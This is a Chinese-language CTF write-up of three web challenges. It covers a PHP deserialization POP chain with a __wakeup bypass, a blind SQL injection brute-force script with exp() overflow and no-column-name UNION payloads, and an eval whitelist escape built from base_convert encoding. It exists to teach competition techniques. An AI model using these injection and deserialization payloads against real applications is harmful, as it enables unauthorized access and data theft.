这次比赛的难度比滴滴要难很多。web4道题,难度特别大,昨天一宿才做出两个,4道题能全拿下的选手寥寥无几。佩服电子科技大学网安学院的各位师傅。。
- web1 JustSoso
打开题目后是这样一个页面。
查看源码
提示:查看hint.php/index.php两个源码。然后文件读写进去一个php文件。
index.php
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>
<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking upn"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag){ if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>
先来一个一个分析,index.php中涉及parus_url()函数。含有一个对于payload的序列化。
首先会对我们传入的参数调用parse_url函数进行解析,然后对每个参数进行正则匹配,匹配到flag就直接退出。
parse_url解析函数漏洞:
参考:https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/
简单一些讲:在读取URL处,将/xxx.php?改写为///xxx.php?即可绕过parse_url
本题中改为如下方式绕过parse_url函数
接下来跟进hint.php
public function __destruct(){ $this->handle->getFlag(); }
看到了序列化中的漏洞输出点,_destruct() 析构函数,绕过这个析构函数,就可以得到flag.
方法:序列化中,参数与实际变量个数不相等即可。
观察getflag函数体
public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag){ if(isset($this->file)){ echo @highlight_file($this->file,true); } } }
函数中token_flag是随机数生成的一个值,我们需要将序列化后传入的token值与随机生成的这个token_flag进行对比,如果相等,就得到了答案。
先来解决序列化析构函数绕过的问题:
构造pop链
1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);
2, 构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>
$a = new Handle($b);
要注意到这里class Handle{}中有__wakeup()函数:
public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking upn"; }
刚才说到了,绕过wake_up函数的方法:,当成员属性数目大于实际数目时
具体参考:https://www.cnblogs.com/Mrsm1th/p/6835592.html
O:6:"Handle":1:{s:12:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
将Handle后的1改为2即可。
最后一步,也是最为关键一部。
看上面的flag类结构。
function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag){ if(isset($this->file)){ echo @highlight_file($this->file,true); } } }
代码的意图明显,这个函数运行后会随机生成两个md5值并分别分配给token_flag,token这两个变量。这个在我们刚才模拟的那个序列化字符串中就有体现。
方法:但是服务器在反序列化之后执行getFlag函数时会再随机生成一个token_flag,而且二者要相等才能拿到flag。这里由于生成位置不在一个机器,因此伪随机无法使用,即dir_rand()函数,我一开始想的时爆破,毕竟数量也不多。而且传入的token是确定的,服务器重新生成得token_flag是随机的。因此我用了一个特别坑的方法,不停得循环传入我们构造好的反序列化字串,总有一个刚好服务器生成得token_flag和我们传得token相等。可惜风控系统判定我的方法是在攻击服务器,占用资源,直接把我挂了。后来问了一下别人,正确方法是赋值。
原理:
a=1;&b=&a;a+=1;
最后a=b=2。
用同样的方法在序列化末尾加上
$b = new Flag("flag.php"); $b->token=&$b->token_flag; $a = new Handle($b);
最终token_flag=token
答案:
<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking upn"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ if(isset($this->file)){ echo @highlight_file($this->file,true); } } } $b = new Flag("flag.php"); $b->token=&$b->token_flag; $a = new Handle($b); echo(serialize($a)); ?>
输出:
O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"5d55e7c13b0f4d7cf9d5d55d3af329c8";s:10:"token_flag";R:4;}
最终构造:
?file=hint&payload=O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"5d55e7c13b0f4d7cf9d5d55d3af329c8";s:10:"token_flag";R:4;}}
开场的第一题就遇到意外,当时的心态有点失衡。
web2 全宇宙最简单的SQL
当输出一些正常字符例如 123 abc admin会显示登陆错误。
输入正常语句时会报错。
我的想法是再加一句特殊判断。123' and 1 = 1 and updatexml(1,2)。发现这样的语法不符合逻辑。最终解法利用整数溢出。
(select exp(~(select * from(select user())x)));
Exp()是以e为底的对数函数,exp()函数报错注入是一个Double型数据溢出
弄明白了注入方法,写脚本爆数据库:
#coding=utf-8 import requests url = 'http://39.97.227.64:52105/' result = '' payload = '''123' and ascii(mid({sql},{list},1))={num} and (select exp(~(select * from(select user())x)));''' for i in range(1,50): for j in range(32,126): hh = payload.format(sql = '(select database())',list=str(i),num=str(j)) #print (hh) data = {'username':hh,'password':'123'} #print(data) try: zz = requests.post(url,data=data) print ("===========") #print (zz.apparent_encoding) zz.encoding='utf-8' print(zz.text) print ("===========") if '数据库操作失败' in zz.content: result +=chr(j) print( result) break except: continue
数据库名ctf
接下来爆破表名时遇到了问题,or被过滤掉了,因此information也用不了,后来问了一下其他大佬,给了个提示无列名注入,听都没听过的我赶紧百度了一下。之后把最后一步做了出来。
union (select 1,2,c from (select 1,2 c union select * from flag)b) limit 1,1;
第一个from后面其实应该是我们接下里要爆出的列名,无法得到列名时候用一个select语句代入就绕过了。
参考:http://p0desta.com/2018/03/29/SQL%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/
web3 :love_math
这道题的难度依然超级的大,做了3个小时才做出来,当时心态已经全崩了。
查看源码。
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']']; foreach ($blacklist as $blackitem) { if (preg_match('/'. $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); } ?>
whitelist中包含了很多数学函数,例如反三角函数(asin,acos,atan),高斯取整函数(ceil),转码(base_convert,decbin,dechex)等等 。
首先对长度有要求,就是这里比较难绕,而后会正则匹配,不能出现[‘ ‘, ‘t’, ‘r’, ‘n’,’’’, ‘“‘, ‘`’, ‘[‘, ‘]‘]这些符号
再正则匹配,除了whitelist数组中得数学函数之外得所有字母以及字母串都不能使用。
这里堵了很久,后来去看他给的那些数学函数中有一个函数:
<?php $oct = "0031"; $dec = base_convert($oct,8,10); echo "八进制的 $oct 等于十进制的 $dec。"; #八进制的 0031 等于十进制的 25。 ?>
后来想到16进制字符串截取。就像这样。
echo "base_convert(11259375,10,16){0} => "; echo base_convert(11259375,10,16){0};
弹出数组的一个元素即将一串数字成功的转换成我们想要的字符。(脑洞太大了。。。。)
<?php $ss=array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9','[','Q','P','S','U','R','W','T','V','Y','X','Z','\','_','^',']'); foreach ($ss as $w) { foreach ($ss as $r){ echo $w; echo(" and "); echo $r; echo(" <=> "); echo ($w^$r); echo(" <=> "); echo(ord($w^$r)); echo ("<br>"); } } ?>
这样就将所有的字符用16进制编码转换出来了。
因此在输入框中输入(dechex(0){0})^(dechex(10){0}^dechex(1){0})
准备拿flag.php文件的时候发现提示长度超了。超过了30位。因此这个方法是错的,也就是写的所有东西都要推翻重新写。。重新上网查了一下,字母转数字大大大多数情况下都用的是32进制编码,我也不知道为什么要用36而不是16,将phpinfo转换一下base_convert(55490343972,10,36)
成功的执行了我们想执行的语句。
想用这个思路直接执行cat flag.php发现转换之后base_convert(696468,10,36)(“base_convert(15941,10,36) dechex(15){0}*”)比之前的那个字符串长度还要长。。。因此这条路也行不通了。
重新看
再想到?c=$_GET[1]
&1=whoami这种办法,用传参得方式缩短变量长度,但在$_GET构造这一块,因为需要亦或构造出下划线以及[],最后长度也是超过限度。
因此我的思路:减少不必要的因为格式要求而产生的字符。例如$_get 如果能直接简化为get语句就很好,省出了两位。。。正当我精打细算省字符串位的时候,师傅提示我用ASCII编码。
<?php echo hex2bin("48656c6c6f20576f726c6421"); ?> 以上实例输出结果: Hello World! <?php $str = bin2hex("Hello World!"); echo($str); ?> 以上实例输出结果: 48656c6c6f20576f726c6421
最终的答案:base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(426836762666)))
最后一题原题进不去了,等官方答案给出再看吧。